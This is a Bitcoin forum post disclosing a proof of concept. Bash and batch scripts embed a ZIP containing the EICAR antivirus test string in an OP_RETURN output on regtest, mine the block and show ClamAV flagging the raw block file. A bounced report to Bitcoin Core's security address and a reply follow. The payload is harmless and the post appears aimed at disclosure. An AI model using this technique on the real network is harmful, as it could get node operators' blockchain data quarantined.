Bitcoin Forum

Block hash: 7dc4f17afe7911f302829af0d6c30e66be73c1b7e8c207b6a76ca8a1af5c064a
TXID: 3b5e07ceebf6c713532ac05e44dd82750535af413bcb8b4c1be6b113abfe7e21
Block SHA256: 593ee43850a85cec142ffb6f2f4fce49323473ae461e95102e3784ef2c70725c
OP_RETURN payload: valid ZIP (magic 0x504b0304) containing eicar.txt (68 bytes)
ClamAV 1.4.3/27765:
block-with-zip.bin: Win.Test.EICAR_HDB-1 FOUND
opreturn.zip: Win.Test.EICAR_HDB-1 FOUND
eicar.txt: Win.Test.EICAR_HDB-1 FOUND

# How to run (Linux)
# 1) Copy the BTC-test.sh block below into a file named: BTC-test.sh
# 2) chmod +x BTC-test.sh
# 3) ./BTC-test.sh
# 4) When it finishes, show the proof section with:
#    sed -n '/--- Paste-ready proof ---/,$p' ./btc-av-opreturn-*/RESULTS.txt

#!/usr/bin/env bash
# BTC-test.sh - AV disruption via ZIP-in-OP_RETURN (regtest, safe EICAR)
# - boots regtest bitcoind with large OP_RETURN policy
# - embeds a ZIP containing EICAR in OP_RETURN, mines a block
# - exports the raw block, re-extracts payload (ZIP), verifies magic
# - scans with ClamAV; prints paste-ready proof
# Works with Bitcoin Core v30.x (descriptor-only wallets)

set -euo pipefail

# config
OPRET_SIZE=4096
WALLET="ziptest"
WORKDIR="${PWD}/btc-av-opreturn-$(date +%Y%m%d-%H%M%S)"
DATADIR="${WORKDIR}/datadir"
LOG="${WORKDIR}/run.log"
RESULTS="${WORKDIR}/RESULTS.txt"
export LC_ALL=C LANG=C

# utils
log(){ printf "[%s] %s\n" "$(date +'%H:%M:%S')" "$*" | tee -a "$LOG"; }
need(){
  local miss=()
  for c in "$@"; do command -v "$c" >/dev/null 2>&1 || miss+=("$c"); done
  if ((${#miss[@]})); then
    log "Missing: ${miss[*]}"
    if command -v sudo >/dev/null 2>&1 && command -v apt-get >/dev/null 2>&1; then
      log "Attempting apt install"
      sudo apt-get update -y >>"$LOG" 2>&1 || true
      pkgs=()
      for m in "${miss[@]}"; do
        case "$m" in
          bitcoind|bitcoin-cli) pkgs+=("bitcoind") ;;
          jq) pkgs+=("jq") ;;
          zip) pkgs+=("zip") ;;
          unzip) pkgs+=("unzip") ;;
          xxd) pkgs+=("xxd") ;;
          clamscan) pkgs+=("clamav") ;;
          sha256sum) pkgs+=("coreutils") ;;
        esac
      done
      read -r -a pkgs <<<"$(printf '%s\n' "${pkgs[@]}" | awk '!seen[$0]++')"
      if ((${#pkgs[@]})); then sudo apt-get install -y "${pkgs[@]}" >>"$LOG" 2>&1 || true; fi
    fi
    still=()
    for c in "$@"; do command -v "$c" >/dev/null 2>&1 || still+=("$c"); done
    if ((${#still[@]})); then
      echo "FATAL: still missing: ${still[*]}" | tee -a "$LOG"; exit 1
    fi
  fi
}

# start
mkdir -p "$WORKDIR" "$DATADIR"; : > "$LOG"
log "Workdir: $WORKDIR"

need bitcoind bitcoin-cli jq zip unzip xxd clamscan sha256sum

log "Starting bitcoind (regtest). OP_RETURN size=${OPRET_SIZE}"
bitcoind -regtest -daemon=1 -server=1 -datadir="$DATADIR" -fallbackfee=0.0002 -datacarrier=1 -datacarriersize="$OPRET_SIZE" -acceptnonstdtxn=1 -printtoconsole=0 >>"$LOG" 2>&1

cleanup(){ log "Stopping bitcoind"; bitcoin-cli -regtest -datadir="$DATADIR" stop >/dev/null 2>&1 || true; }
trap cleanup EXIT

log "Waiting for RPC"
bitcoin-cli -regtest -datadir="$DATADIR" -rpcwait getblockchaininfo >/dev/null

# wallet and funds
log "Creating or loading wallet ${WALLET}, mining 101 blocks"
if ! bitcoin-cli -regtest -datadir="$DATADIR" -rpcwallet="$WALLET" getwalletinfo >/dev/null 2>&1; then
  if ! bitcoin-cli -regtest -datadir="$DATADIR" -named createwallet wallet_name="${WALLET}" descriptors=true >/dev/null 2>&1; then
    bitcoin-cli -regtest -datadir="$DATADIR" loadwallet "$WALLET" >/dev/null 2>&1 || true
  fi
fi
MINER_ADDR="$(bitcoin-cli -regtest -datadir="$DATADIR" -rpcwallet="$WALLET" getnewaddress)"
bitcoin-cli -regtest -datadir="$DATADIR" generatetoaddress 101 "$MINER_ADDR" >/dev/null

# EICAR and ZIP
log "Creating EICAR file and zipping it"
EICAR_TXT="${WORKDIR}/eicar.txt"
EICAR_STRING='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
printf '%s' "$EICAR_STRING" > "$EICAR_TXT"
ZIPFILE="${WORKDIR}/eicar.zip"
( cd "$WORKDIR" && zip -q "$(basename "$ZIPFILE")" "$(basename "$EICAR_TXT")" )

# craft OP_RETURN tx with ZIP bytes
log "Hex-encoding ZIP and creating OP_RETURN tx"
ZIPHEX="$(xxd -p -c999999 "$ZIPFILE" | tr -d '\n')"
RAW="$(bitcoin-cli -regtest -datadir="$DATADIR" createrawtransaction '[]' "[{\"data\":\"${ZIPHEX}\"}]")"
FUND="$(bitcoin-cli -regtest -datadir="$DATADIR" -rpcwallet="$WALLET" fundrawtransaction "$RAW" | jq -r .hex)"
SIGNED="$(bitcoin-cli -regtest -datadir="$DATADIR" -rpcwallet="$WALLET" signrawtransactionwithwallet "$FUND" | jq -r .hex)"
TXID="$(bitcoin-cli -regtest -datadir="$DATADIR" sendrawtransaction "$SIGNED")"
log "Broadcasted TXID: $TXID"

# mine and export block
log "Mining 1 block"
bitcoin-cli -regtest -datadir="$DATADIR" generatetoaddress 1 "$MINER_ADDR" >/dev/null
BHASH="$(bitcoin-cli -regtest -datadir="$DATADIR" getbestblockhash)"
log "Best block: $BHASH"
BLOCK_HEX="${WORKDIR}/block-with-zip.hex"
BLOCK_BIN="${WORKDIR}/block-with-zip.bin"
bitcoin-cli -regtest -datadir="$DATADIR" getblock "$BHASH" 0 > "$BLOCK_HEX"
xxd -r -p "$BLOCK_HEX" "$BLOCK_BIN"

# extract OP_RETURN from the TX and verify ZIP
log "Extracting OP_RETURN payload and verifying ZIP"
OPHEX="$(bitcoin-cli -regtest -datadir="$DATADIR" getrawtransaction "$TXID" true "$BHASH" \
  | jq -r '.vout[] | select(.scriptPubKey.type=="nulldata") | .scriptPubKey.asm' \
  | sed -E 's/^OP_RETURN[[:space:]]+//' | tr -d '[:space:]')"
OPRET_ZIP="${WORKDIR}/opreturn.zip"
printf '%s' "$OPHEX" | xxd -r -p > "$OPRET_ZIP"
MAGIC="$(xxd -l 4 -p "$OPRET_ZIP" 2>/dev/null || true)"
log "OP_RETURN magic: ${MAGIC:-<none>} (expect 504b0304)"
if [[ "$MAGIC" == "504b0304" ]]; then
  log "Listing ZIP contents"
  unzip -l "$OPRET_ZIP" | tee -a "$LOG" || log "unzip -l failed"
else
  log "Payload not recognized as ZIP. Continuing."
fi

# scans
log "Running ClamAV scans"
SCAN_BLOCK="$(clamscan --infected --no-summary --scan-archive=yes "$BLOCK_BIN" || true)"
SCAN_OPZIP="$(clamscan --infected --no-summary --scan-archive=yes "$OPRET_ZIP" || true)"
SCAN_EICAR="$(clamscan --infected --no-summary "$EICAR_TXT" || true)"

# hashes
log "Computing SHA256 hashes"
(
  cd "$WORKDIR"
  sha256sum "$(basename "$BLOCK_BIN")" "$(basename "$OPRET_ZIP")" "$(basename "$ZIPFILE")" "$(basename "$EICAR_TXT")" > SHA256SUMS.txt
)
BLK_SHA="$(awk '/block-with-zip.bin/ {print $1}' "$WORKDIR/SHA256SUMS.txt")"

# versions
BITCOIN_VER="$(bitcoin-cli -version | head -n1 || true)"
CLAM_VER="$(clamscan -V 2>/dev/null || true)"

# results
{
  echo "=== AV-in-OP_RETURN PoC (ZIP-in-OP_RETURN) ==="
  echo "Timestamp: $(date -Is)"
  echo "Bitcoin: ${BITCOIN_VER}"
  echo "ClamAV:  ${CLAM_VER}"
  echo
  echo "Block hash: $BHASH"
  echo "TXID:      $TXID"
  echo "Block SHA256: $BLK_SHA"
  echo
  echo "Artifacts:"
  echo "  Block (raw):     $BLOCK_BIN"
  echo "  OP_RETURN (zip): $OPRET_ZIP"
  echo "  Source ZIP:      $ZIPFILE"
  echo "  EICAR file:      $EICAR_TXT"
  echo "  SHA256SUMS:      $WORKDIR/SHA256SUMS.txt"
  echo
  echo "ClamAV results:"
  echo "  Block file:   ${SCAN_BLOCK:-<no output>}"
  echo "  OP_RETURN ZIP:${SCAN_OPZIP:-<no output>}"
  echo "  EICAR (file): ${SCAN_EICAR:-<no output>}"
  echo
  echo "--- Paste-ready proof ---"
  echo "Block hash: $BHASH"
  echo "TXID: $TXID"
  echo "Block SHA256: $BLK_SHA"
  echo "$CLAM_VER"
  echo "  $(basename "$BLOCK_BIN"): ${SCAN_BLOCK:-<no output>}"
  echo "  $(basename "$OPRET_ZIP"): ${SCAN_OPZIP:-<no output>}"
  echo "  $(basename "$EICAR_TXT"): ${SCAN_EICAR:-<no output>}"
} | tee "$RESULTS"

log "RESULTS saved to: $RESULTS"
# end

:: ============================ BTC-test-win.bat ============================
:: Repro: AV quarantines raw block via ZIP-in-OP_RETURN (regtest, safe EICAR)
:: - starts a regtest node (separate datadir; does not touch mainnet/testnet)
:: - creates a ZIP with the EICAR test file (harmless AV test)
:: - embeds ZIP in OP_RETURN, mines 1 block, exports raw block
:: - verifies OP_RETURN is a real ZIP, scans block + payload with your AV

@echo off
setlocal EnableExtensions EnableDelayedExpansion

:: -------- AV CONFIG (edit these) -----------------------------------------
:: Point AV_CMD to your scanner. Put "%FILE%" in AV_ARGS where the file path goes.

:: Example: ClamAV for Windows (adjust if your install path differs)
set "AV_CMD=C:\Program Files\ClamAV\clamscan.exe"
set "AV_ARGS=--infected --no-summary --scan-archive=yes %FILE%"

:: Example: Microsoft Defender (uncomment one of these pairs and comment ClamAV above)
:: set "AV_CMD=%ProgramFiles%\Windows Defender\MpCmdRun.exe"
:: set "AV_ARGS=-Scan -ScanType 3 -File %FILE%"
:: Alternate Defender path on some builds:
:: set "AV_CMD=%ProgramFiles%\Microsoft Defender\MpCmdRun.exe"
:: set "AV_ARGS=-Scan -ScanType 3 -File %FILE%"

:: -------- Bitcoin Core binaries (adjust if not in PATH) -------------------
set "BITCOIND=bitcoind.exe"
set "BITCOINCLI=bitcoin-cli.exe"

:: -------- Work dirs -------------------------------------------------------
for /f "usebackq tokens=*" %%t in (`
  powershell -NoProfile -Command "(Get-Date).ToString('yyyyMMdd-HHmmss')"
`) do set "NOWSTAMP=%%t"
set "WORK=%CD%\btc-av-opreturn-%NOWSTAMP%"
set "DATADIR=%WORK%\datadir"
mkdir "%WORK%" 2>nul
mkdir "%DATADIR%" 2>nul
echo [*] Workdir: %WORK%

:: -------- helper: run AV on a file ---------------------------------------
:: usage: call :SCAN "C:\path\to\file"
:SCAN
set "_file=%~1"
set "_args=%AV_ARGS%"
set "_args=!_args:%%FILE%%=%_file%!"
echo [*] AV: "%AV_CMD%" !_args!
"%AV_CMD%" !_args!
exit /b

:: -------- start bitcoind (regtest) ---------------------------------------
echo [*] Starting bitcoind (regtest) with larger OP_RETURN...
start "bitcoind-regtest" /b "%BITCOIND%" -regtest -server ^
 -datadir="%DATADIR%" -fallbackfee=0.0002 -datacarrier=1 -datacarriersize=4096 ^
 -acceptnonstdtxn=1 -printtoconsole=0

:: wait for RPC
echo [*] Waiting for RPC...
"%BITCOINCLI%" -regtest -datadir="%DATADIR%" -rpcwait getblockchaininfo >nul

:: -------- create wallet and mine funds -----------------------------------
echo [*] Creating wallet and mining 101 blocks...
"%BITCOINCLI%" -regtest -datadir="%DATADIR%" -named createwallet wallet_name="ziptest" descriptors=true >nul 2>nul
"%BITCOINCLI%" -regtest -datadir="%DATADIR%" loadwallet ziptest >nul 2>nul
for /f "usebackq tokens=*" %%A in (`"%BITCOINCLI%" -regtest -datadir="%DATADIR%" -rpcwallet=ziptest getnewaddress`) do set "ADDR=%%A"
"%BITCOINCLI%" -regtest -datadir="%DATADIR%" generatetoaddress 101 "%ADDR%" >nul

:: -------- make EICAR and ZIP (PowerShell) --------------------------------
set "EICAR=%WORK%\eicar.txt"
set "ZIP=%WORK%\eicar.zip"
echo [*] Creating EICAR and ZIP...
powershell -NoProfile -ExecutionPolicy Bypass -Command ^
 "$s='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*';" ^
 "Set-Content -LiteralPath '%EICAR%' -Value $s -NoNewline;" ^
 "If(Test-Path '%ZIP%'){Remove-Item '%ZIP%'};" ^
 "Compress-Archive -LiteralPath '%EICAR%' -DestinationPath '%ZIP%'"

:: -------- ZIP -> hex (for OP_RETURN) -------------------------------------
echo [*] Converting ZIP to hex for OP_RETURN...
for /f "usebackq tokens=*" %%H in (`
  powershell -NoProfile -ExecutionPolicy Bypass -Command ^
  "$b=[IO.File]::ReadAllBytes('%ZIP%');" ^
  "$o=([System.Text.StringBuilder]::new());" ^
  "foreach($x in $b){[void]$o.AppendFormat('{0:x2}',$x)};" ^
  "$o.ToString()"
`) do set "ZIPHEX=%%H"

:: -------- create and send OP_RETURN tx -----------------------------------
echo [*] Creating OP_RETURN transaction...
setlocal DisableDelayedExpansion
set "JSON=[{""data"":""%ZIPHEX%""}]"
setlocal EnableDelayedExpansion
for /f "usebackq tokens=*" %%R in (`"%BITCOINCLI%" -regtest -datadir="%DATADIR%" createrawtransaction "[]" "!JSON!"`) do set "RAW=%%R"
for /f "usebackq tokens=*" %%F in (`
  "%BITCOINCLI%" -regtest -datadir="%DATADIR%" -rpcwallet=ziptest fundrawtransaction "%RAW%" ^
  ^| powershell -NoProfile -Command "(Get-Content -Raw) | ConvertFrom-Json | %%{ $_.hex }"
`) do set "FUNDED=%%F"
for /f "usebackq tokens=*" %%S in (`
  "%BITCOINCLI%" -regtest -datadir="%DATADIR%" -rpcwallet=ziptest signrawtransactionwithwallet "%FUNDED%" ^
  ^| powershell -NoProfile -Command "(Get-Content -Raw) | ConvertFrom-Json | %%{ $_.hex }"
`) do set "SIGNED=%%S"
for /f "usebackq tokens=*" %%T in (`"%BITCOINCLI%" -regtest -datadir="%DATADIR%" sendrawtransaction "%SIGNED%"`) do set "TXID=%%T"
echo [*] TXID: %TXID%

:: -------- mine it and export raw block -----------------------------------
echo [*] Mining 1 block...
for /f "usebackq tokens=*" %%A in (`"%BITCOINCLI%" -regtest -datadir="%DATADIR%" getnewaddress`) do set "MADDR=%%A"
"%BITCOINCLI%" -regtest -datadir="%DATADIR%" generatetoaddress 1 "%MADDR%" >nul
for /f "usebackq tokens=*" %%B in (`"%BITCOINCLI%" -regtest -datadir="%DATADIR%" getbestblockhash`) do set "BHASH=%%B"
echo [*] Block: %BHASH%

set "BLOCKHEX=%WORK%\block.hex"
set "BLOCKBIN=%WORK%\block-with-zip.bin"
"%BITCOINCLI%" -regtest -datadir="%DATADIR%" getblock "%BHASH%" 0 > "%BLOCKHEX%"

echo [*] Converting block hex -> bin...
powershell -NoProfile -ExecutionPolicy Bypass -Command ^
 "$h=(Get-Content -Raw '%BLOCKHEX%').Trim();" ^
 "$ba=New-Object byte[] ($h.Length/2);" ^
 "for($i=0;$i -lt $ba.Length;$i++){ $ba[$i]=[Convert]::ToByte($h.Substring($i*2,2),16) };" ^
 "[IO.File]::WriteAllBytes('%BLOCKBIN%',$ba)"

:: -------- extract OP_RETURN hex from the TX (no txindex needed) ----------
echo [*] Extracting OP_RETURN payload (hex)...
for /f "usebackq tokens=*" %%X in (`
  "%BITCOINCLI%" -regtest -datadir="%DATADIR%" getrawtransaction "%TXID%" true "%BHASH%" ^
  ^| powershell -NoProfile -Command ^
    "$j=Get-Content -Raw ^| ConvertFrom-Json;" ^
    "$nulldata=$j.vout ^| ? { $_.scriptPubKey.type -eq 'nulldata' };" ^
    "if(!$nulldata){''} else {" ^
    "  $asm=$nulldata[0].scriptPubKey.asm;" ^
    "  ($asm -split ' ')[1]" ^
    "}"
`) do set "OPHEX=%%X"

set "OPZIP=%WORK%\opreturn.zip"
echo [*] Writing OP_RETURN hex -> payload ZIP...
powershell -NoProfile -ExecutionPolicy Bypass -Command ^
 "$h='%OPHEX%';" ^
 "$ba=New-Object byte[] ($h.Length/2);" ^
 "for($i=0;$i -lt $ba.Length;$i++){ $ba[$i]=[Convert]::ToByte($h.Substring($i*2,2),16) };" ^
 "[IO.File]::WriteAllBytes('%OPZIP%',$ba);" ^
 "$m=Get-Content -Raw '%OPZIP%' -AsByteStream -TotalCount 4;" ^
 "$hex=($m ^| ForEach-Object { $_.ToString('x2') }) -join '';" ^
 "Write-Host ('[*] OP_RETURN ZIP magic: ' + $hex)"

:: -------- scan with your AV ---------------------------------------------
echo.
echo [*] Scanning with your AV command...
call :SCAN "%BLOCKBIN%"
call :SCAN "%OPZIP%"
call :SCAN "%EICAR%"

:: -------- done; stop node ------------------------------------------------
echo [*] Stopping bitcoind...
"%BITCOINCLI%" -regtest -datadir="%DATADIR%" stop >nul 2>nul

echo.
echo [DONE] Workdir: %WORK%
echo       Block:   %BHASH%
echo       TXID:    %TXID%
echo =======================================================================
exit /b
:: ========================== end BTC-test-win.bat =========================

Sorry, we were unable to deliver your message to the following address.

<security@bitcoincore.org>:
550: 5.7.1  Reject for policy reason RULE1_1: Virus/Malware detected

Can you scan it on https://www.virustotal.com/gui/home/upload and share the results link?

-blocksxor

getblock ... 0

block-with-zip.bin